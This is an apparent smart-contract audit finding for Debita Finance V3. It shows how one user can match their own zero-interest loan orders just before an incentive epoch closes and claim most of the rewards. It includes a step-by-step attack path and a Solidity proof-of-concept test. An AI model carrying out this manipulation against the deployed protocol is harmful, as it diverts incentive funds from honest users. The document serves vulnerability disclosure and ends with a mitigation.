Mini Tawny Whale

High

# Malicious users will exploit the incentive mechanism rendering it useless

### Summary

Specific token pairs can be incentivized to encourage new loans. This approach aims to foster widespread engagement and utilization of the platform's financial offerings. 

However, this goal may not be achieved, as a malicious user could create their own compatible lending and borrowing orders just a few seconds before the incentivized epoch ends. This would allow them to manipulate the shares of all users and claim the majority for themselves. They would match their own orders and immediately repay the created loan.

### Root Cause

The owner of a borrowing and lending order can be the same address. Furthermore, [DebitaIncentives::updateFunds()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaV3Aggregator.sol#L631-L636) is called when borrowing and lending orders are matched, which means that a user could immediately repay loans consisting of their own orders after they are matched.
The way incentives are designed allows users to exploit this.

### Internal pre-conditions

None.

### External pre-conditions

None.

### Attack Path

1. An incentivizer calls `DebitaIncentives::incentivizePair()` to incentivize a pair for a future epoch.
2. During that epoch, multiple users' loans are matched, which updates the amount of funds that have been lent and borrowed during that period.
3. A few seconds before the epoch ends, a malicious user creates their own compatible lending and borrowing orders with `apr = 0`, as they do not care about the interest since they plan to repay their debt after a few seconds, and `duration <= 1 day`.
4. They match these orders by calling `DebitaV3Aggregator::matchOffersV3()`. They only need to pay a `0.2%` [fee](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaV3Aggregator.sol#L529-L531) since the initial loan duration is less than `1 day`. As long as the incentives they receive are worth more than `0.2%` of the principle amount they lend, this strategy remains profitable.
5. After a few seconds, the malicious user calls `DebitaV3Loan::payDebt()` to repay their debt. This does not result in any loss for the user, as the apr is set to `0`, meaning the protocol does not charge any fees.
6. Finally, the malicious user calls `DebitaIncentives::claimIncentives()` to claim their rewards.

### Impact

The goal of incentives—to foster widespread engagement and utilization of the platform's financial offerings—is not achieved, rendering them useless. Malicious users exploit the system to maximize their incentives by simply matching their own orders for a few seconds.

Over time, more users become aware of this exploit and begin doing the same. As a result, users who use the protocol as intended are unable to claim their incentives and are effectively penalized by the actions of malicious users.

The initial purpose of the incentives is undermined as users realize it is not worth interacting with incentivized pairs. They earn little to no rewards because malicious users drive their shares close to zero. Ultimately, incentives are merely rewarded to users who match their own orders for a brief moment, such as one second.
Therefore, the funds of the incentivizers will be lost as they do not achieve their goal and are simply donations to malicious users.

### PoC

Add the following test to `MultipleLoansDuringIncentives.t.sol`:

```solidity
function testManipulateIncentives() public {
    // token pair is incentivized
    incentivize(AERO, AERO, USDC, true, 1000e18, 2);
    vm.warp(block.timestamp + 15 days);
    // non-malicious users interact with that pair to gain incentives
    createLoan(borrower, firstLender, AERO, AERO);
    createLoan(borrower, secondLender, AERO, AERO);

    // 10 seconds before the epoch ends, a malicious user steps in and creates a loan
    // to gain the majority of the incentives
    vm.warp(block.timestamp + 1123190);

    vm.startPrank(thirdLender);
    deal(AERO, thirdLender, 1000e18, false);
    deal(AERO, thirdLender, 1000e18, false);
    IERC20(AERO).approve(address(DBOFactoryContract), 1000e18);
    bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
    uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
    uint[] memory ratio = allDynamicData.getDynamicUintArray(1);
    uint[] memory ratioLenders = allDynamicData.getDynamicUintArray(1);
    uint[] memory ltvsLenders = allDynamicData.getDynamicUintArray(1);
    bool[] memory oraclesActivatedLenders = allDynamicData
        .getDynamicBoolArray(1);

    address[] memory acceptedPrinciples = allDynamicData
        .getDynamicAddressArray(1);
    address[] memory acceptedCollaterals = allDynamicData
        .getDynamicAddressArray(1);
    address[] memory oraclesCollateral = allDynamicData
        .getDynamicAddressArray(1);
    address[] memory oraclesPrinciples = allDynamicData
        .getDynamicAddressArray(1);

    // set the values for the loan
    ltvs[0] = 10000;
    acceptedPrinciples[0] = AERO;
    acceptedCollaterals[0] = AERO;
    oraclesActivated[0] = true;
    ratio[0] = 1e18;

    oraclesPrinciples[0] = DebitaChainlinkOracle;
    oraclesCollateral[0] = DebitaChainlinkOracle;

    address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
        oraclesActivated,
        ltvs,
        0,
        43200,
        acceptedPrinciples,
        AERO,
        false,
        0,
        oraclesPrinciples,
        ratio,
        DebitaChainlinkOracle,
        90e18
    );

    IERC20(AERO).approve(address(DLOFactoryContract), 1000e18);
    ltvsLenders[0] = 10000;
    ratioLenders[0] = 1e18;
    oraclesActivatedLenders[0] = true;
    address lendOrderAddress = DLOFactoryContract.createLendOrder(
        false,
        oraclesActivatedLenders,
        false,
        ltvsLenders,
        0,
        43200,
        43200,
        acceptedCollaterals,
        AERO,
        oraclesCollateral,
        ratioLenders,
        DebitaChainlinkOracle,
        90e18
    );

    address[] memory lendOrders = allDynamicData.getDynamicAddressArray(1);
    uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(
        1
    );
    uint[] memory porcentageOfRatioPerLendOrder = allDynamicData
        .getDynamicUintArray(1);
    address[] memory principles = allDynamicData.getDynamicAddressArray(1);
    uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
        .getDynamicUintArray(1);
    uint[] memory indexForCollateral_LendOrder = allDynamicData
        .getDynamicUintArray(1);
    uint[] memory indexPrinciple_LendOrder = allDynamicData
        .getDynamicUintArray(1);

    lendOrders[0] = lendOrderAddress;
    lendAmountPerOrder[0] = 90e18;

    porcentageOfRatioPerLendOrder[0] = 10000;
    principles[0] = AERO;

    // match
    address loan = DebitaV3AggregatorContract.matchOffersV3(
        lendOrders,
        lendAmountPerOrder,
        porcentageOfRatioPerLendOrder,
        borrowOrderAddress,
        principles,
        indexForPrinciple_BorrowOrder,
        indexForCollateral_LendOrder,
        indexPrinciple_LendOrder
    );

    DebitaV3LoanContract = DebitaV3Loan(loan);
    vm.stopPrank();

    // a few seconds later, he repays his debt
    vm.warp(block.timestamp + 15);
    vm.startPrank(thirdLender);
    uint[] memory indexes = allDynamicData.getDynamicUintArray(1);
    indexes[0] = 0;
    IERC20(AERO).approve(address(DebitaV3LoanContract), 1000e18);
    DebitaV3LoanContract.payDebt(indexes);
    vm.stopPrank();
        
    address[] memory tokenUsedIncentive = allDynamicData
        .getDynamicAddressArray(1);
    address[][] memory tokenIncentives = new address[][](
        tokenUsedIncentive.length
    );
    tokenUsedIncentive[0] = USDC;
    tokenIncentives[0] = tokenUsedIncentive;

    vm.startPrank(firstLender);
    uint balanceBefore_First = IERC20(USDC).balanceOf(firstLender);
    incentivesContract.claimIncentives(principles, tokenIncentives, 2);
    uint balanceAfter_First = IERC20(USDC).balanceOf(firstLender);
    vm.stopPrank();

    vm.startPrank(secondLender);
    uint balanceBefore_Second = IERC20(USDC).balanceOf(secondLender);
    incentivesContract.claimIncentives(principles, tokenIncentives, 2);
    uint balanceAfter_Second = IERC20(USDC).balanceOf(secondLender);
    vm.stopPrank();

    vm.startPrank(thirdLender);
    uint balanceBefore_Third = IERC20(USDC).balanceOf(thirdLender);
    incentivesContract.claimIncentives(principles, tokenIncentives, 2);
    uint balanceAfter_Third = IERC20(USDC).balanceOf(thirdLender);
    vm.stopPrank();
        
    uint claimedFirst = balanceAfter_First - balanceBefore_First;
    uint claimedSecond = balanceAfter_Second - balanceBefore_Second;
    uint claimedThird = balanceAfter_Third - balanceBefore_Third;

    // initially, the two lenders had 50% each, now they have 5%
    // due to the malicious lender stepping in 10 seconds before the epoch ended
    uint amount = (1000e18 * 500) / 10000;

    assertEq(claimedFirst, claimedSecond);
        
    assertEq(claimedFirst, amount);

    uint amountThird = (1000e18 * 9000) / 10000;

    assertEq(claimedThird, 1000e18 - claimedFirst - claimedSecond);
        
    assertEq(claimedThird, 900e18);
}
```

### Mitigation

Consider not allowing the owner of the lending and borrowing orders that are matched to be the same.
Additionally, consider revising the method for calculating users' shares of incentives, as loans lasting only one second are currently treated the same as loans lasting several months.